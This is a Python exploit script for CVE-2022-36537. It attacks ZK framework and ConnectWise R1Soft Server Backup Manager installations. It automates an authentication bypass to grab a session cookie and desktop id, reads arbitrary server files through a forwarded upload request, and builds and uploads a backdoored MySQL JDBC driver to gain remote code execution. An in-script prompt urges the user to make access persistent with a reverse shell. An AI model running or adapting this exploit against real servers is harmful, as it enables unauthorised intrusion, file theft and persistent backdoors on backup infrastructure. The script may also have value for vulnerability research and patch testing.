#!/usr/bin/env python3 # coding: utf-8 """ @File : CVE-2022-36537.py @Time : 2022/11/11 23:34 @Author : Bearcat of www.numencyber.com @Version : 1.0 @Desc : ZK framework authentication bypass & connectWise r1Soft server backup manager remote code execution. """ import sys import subprocess import os import warnings import re import zipfile import shutil import requests from requests_toolbelt import MultipartEncoder import urllib3 from selenium import webdriver from rich import print as rprint import argparse urllib3.disable_warnings() # proxy = { # "http": "http://127.0.0.1:8080" # } proxy = {} # https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/ def bypass_auth1(target): warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning) rprint("[italic green][*] Bypass authentication.") try: opt = webdriver.ChromeOptions() opt.add_argument('--headless') opt.add_argument('--ignore-certificate-errors') driver = webdriver.Chrome(executable_path='./chromedriver', options=opt) driver.get(target) cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value'] dtid = driver.execute_script(""" for (var dtid in zk.Desktop.all) return dtid """) return dtid, cookie_str except Exception as e: rprint("[italic red][-] Bypass authentication failed. {0}".format(e)) exit() def bypass_auth2(target): rprint("[italic green][*] Bypass authentication.") uri = "{0}/login.zul".format(target) try: result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy) cookie_str = result.headers['Set-Cookie'].split(";")[0] r = u"dt:'(.*?)',cu:" regex = re.compile(r) dtid = regex.findall(result.text)[0] return dtid, cookie_str except Exception as e: rprint("[italic red][-] Bypass authentication failed. {0}".format(e)) exit() def forward_request(target, next_uri, cookie_str, uuid, dtid): uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid) param = {"nextURI": (None, next_uri)} headers = {"Cookie": cookie_str} data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp") headers["Content-Type"] = data.content_type try: result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy) return result except Exception as e: rprint("[italic red][-] Forward request failed. {0}".format(e)) exit() def read_file(target, filename): # get login_dtid login_dtid, cookie_str = bypass_auth2(target) rprint("[italic green][*] Start reading the file:") result = forward_request(target, filename, cookie_str, "101010", login_dtid) return "-----file start-----\n{0}\n-----file end-----".format(result.text) def deploy_jdbc_backdoor(target): rprint( "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.") play_again = input("Whether to continue? (y/n):").lower() if play_again[0] != "y": exit() # get login_dtid login_dtid, cookie_str = bypass_auth2(target) rprint("[italic green][*] Start deploying the jdbc backdoor.") build_jdbc_backdoor() # database_dtid and mysql_driver_upload_button_id uri = "/Configuration/database-drivers.zul" result = forward_request(target, uri, cookie_str, "101010", login_dtid) r1 = u"{dt:'(.*?)',cu:" regex = re.compile(r1) database_dtid = regex.findall(result.text)[0] r1 = u"'zul.wgt.Button','(.*?)'," regex = re.compile(r1) mysql_driver_upload_button_id = regex.findall(result.text)[0] uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format( database_dtid, mysql_driver_upload_button_id) result = forward_request(target, uri, cookie_str, "101010", login_dtid) # file_upload_dlg_id and file_upload_id r1 = u"zul.fud.FileuploadDlg','(.*?)'," regex = re.compile(r1) file_upload_dlg_id = regex.findall(result.text)[0] r1 = u"zul.wgt.Fileupload','(.*?)'," regex = re.compile(r1) file_upload_id = regex.findall(result.text)[0] uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid) upload_jdbc_backdoor(uri, cookie_str) uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format( database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id) forward_request(target, uri, cookie_str, "101010", login_dtid) uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid, file_upload_dlg_id) forward_request(target, uri, cookie_str, "101010", login_dtid) def upload_jdbc_backdoor(uri, cookie_str): rprint("[italic green][*] Upload the database driver.") headers = {"Cookie": cookie_str} files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')} try: requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy) except Exception as e: rprint("[italic red][-] Upload the database driver failed. {0}".format(e)) exit() def build_jdbc_backdoor(): rprint("[italic green][*] Compile java code.") java_cmd = 'javac -source 1.5 -target 1.5 Driver.java' popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) popen.stdout.read() tmp_path = 'jdbc_jar' os.mkdir(tmp_path) with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf: unzf.extractall("jdbc_jar") unzf.close() os.remove('jdbc_jar/com/mysql/jdbc/Driver.class') shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/') with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(tmp_path): relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep for filename in files: zf.write(os.path.join(root, filename), relative_root + filename) zf.close() shutil.rmtree(tmp_path) rprint("[italic green][*] Build jdbc backdoor success.") def banner(): rprint("[italic white]CVE-2022-36537:\n\tZK framework authentication bypass") rprint("[italic white]\tConnectWise r1Soft server backup manager remote code execution") def parse_args(): parser = argparse.ArgumentParser(prog='cve-2022-36537', formatter_class=argparse.RawTextHelpFormatter, description='author: Bearcat of www.numencyber.com', usage='cve-2022-36537.py [options]') parser.add_argument('-u', '--url', type=str, default='', help='target url') parser.add_argument('-r', '--read', type=str, default='', help='reading the file') parser.add_argument('-b', '--build', action="store_true", help='build jdbc backdoor') parser.add_argument('-d', '--deploy', action="store_true", help='deploying the jdbc backdoor') if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() return args if __name__ == '__main__': banner() args = parse_args() if args.url and args.read: print(read_file(args.url, args.read)) exit() if args.build: build_jdbc_backdoor() exit() if args.url and args.deploy: deploy_jdbc_backdoor(args.url) exit()